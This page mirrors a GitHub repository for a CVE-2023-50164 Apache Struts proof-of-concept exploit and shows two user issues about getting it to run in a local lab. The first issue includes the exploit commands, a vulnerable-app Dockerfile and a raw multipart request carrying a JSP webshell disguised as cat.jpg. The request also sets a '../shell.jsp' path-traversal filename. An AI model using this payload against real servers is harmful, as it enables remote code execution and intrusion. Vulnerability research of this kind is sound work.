Coder Social home page Coder Social logo

jakabakos / cve-2023-50164-apache-struts-rce Goto Github PK

View Code? Open in Web Editor NEW
75.0 75.0 21.0 28 KB

A critical security vulnerability, identified as CVE-2023-50164 (CVE: 9.8) was found in Apache Struts, allowing attackers to manipulate file upload parameters that can potentially lead to unauthorized path traversal and remote code execution (RCE).

Python 50.42% Java 47.38% HTML 2.20%

cve-2023-50164-apache-struts-rce's People

Contributors

jakabakos avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar

cve-2023-50164-apache-struts-rce's Issues

Exiting after maximum retries

Hello @jakabakos,

Thank you for creating this test exploit. I followed all your steps but I am not getting the shell. It keeps on failing at "Maximum attempts reached. Exiting..."
What I have tried so Far:
Ran application using:

┌──(kali㉿kali)-[~/CVE-2023-50164-Apache-Struts-RCE/struts-app]
└─$ sudo mvn jetty:run

┌──(kali㉿kali)-[~/CVE-2023-50164-Apache-Struts-RCE/exploit]
└─$ python exploit.py --url http://0.0.0.0:9999/upload/upload.action
[+] Starting exploitation...
[+] WAR file already exists.
[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://0.0.0.0:9999/webshell/webshell.jsp?cmd=<COMMAND>
[+] Attempting a connection with webshell.
[-] Maximum attempts reached. Exiting...

Then on the recommendation on sepe81@fda7a6d and @sepe81,

Created a DOCKERFILE and changed
NUMBER_OF_PARENTS_IN_PATH to 5 and CATALINA_HOME = "/usr/local/tomcat/"

DOCKERFILE:

FROM tomcat:9.0.84-jre21-temurin-jammy
WORKDIR $CATALINA_HOME/webapps
ADD struts-app/target/upload-1.0.0.war ROOT.war
EXPOSE 8080
CMD ["catalina.sh", "run"]

sudo docker build -t exploitable -f DOCKERFILE .
sudo docker run -p 8080:8080 exploitable

After running the exploit on Docker app, still getting same error:

┌──(kali㉿kali)-[~/CVE-2023-50164-Apache-Struts-RCE/exploit]
└─$ python exploit.py --url http://localhost:8080/upload.action
[+] Starting exploitation...
[+] WAR file already exists.
[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://localhost:8080/webshell/webshell.jsp?cmd=<COMMAND>
[+] Attempting a connection with webshell.
[-] Maximum attempts reached. Exiting...

Furthermore, I have tried to exploit it manually and its still not uploading the file.
here is the payload I used in Burp:

POST /upload.action HTTP/1.1
Host: localhost:8080
Content-Length: 655
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrGpRBHBc0EPTTB4o
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/upload.action
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=443CC7117FB5529DA2FC9A32731D8929
Connection: close

------WebKitFormBoundaryrGpRBHBc0EPTTB4o
Content-Disposition: form-data; name="upload"; filename="cat.jpg"
Content-Type: image/jpeg

<%@ page import="java.util.*,java.io.*"%>
<pre>
<%
  Process p = Runtime.getRuntime().exec("/bin/id");
	OutputStream os = p.getOutputStream();
	InputStream in = p.getInputStream();
	DataInputStream dis = new DataInputStream(in);
	String disr = dis.readline();
	while (disr != null) {
		out.println(disr);
		disr = dis.readline();
}
%>
</pre>

------WebKitFormBoundaryrGpRBHBc0EPTTB4o
Content-Disposition: form-data; name="uploadFileName";

../shell.jsp

------WebKitFormBoundaryrGpRBHBc0EPTTB4o--

I would be very thankful if you can let me know what mistake I am making here or any thing I am missing before running this exploit. Thank you.

Unable to create upload directory

Hello,

Thank you for working on this CVE test exploit. I followed all your steps but I am getting the upload error below when I reach the final exploit stage.

`testadmin@Appserver1:~/exploit$ python3 exploit.py --url http://localhost:8080/upload-1.0.0/upload.action
[+] Starting exploitation...
[+] WAR file already exists.
[+] webshell.war uploaded successfully.
Status Code:  200
Response Body:

<html>
<head>
  <title>File Upload - Error</title>
</head>
<body>
<h2>**File Upload** - Error</h2>

<p>**An error occurred while processing the file**.</p>

<!-- Display error messages -->

  <ul>

      **<li>Cannot create directory '/uploads/../../opt/tomcat/webapps'.</li>**

  </ul>


<br/>

<a href="/upload-1.0.0/upload.action;jsessionid=A7390AAD05BAA69CC814E72557DFCE47">Go back to Upload Page</a>

</body>
</html>

[+] Reach the JSP webshell at http://localhost:8080/webshell/webshell.jsp?cmd=<COMMAND>
[+] Attempting a connection with webshell.
[-] Maximum attempts reached. Exiting...

`

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.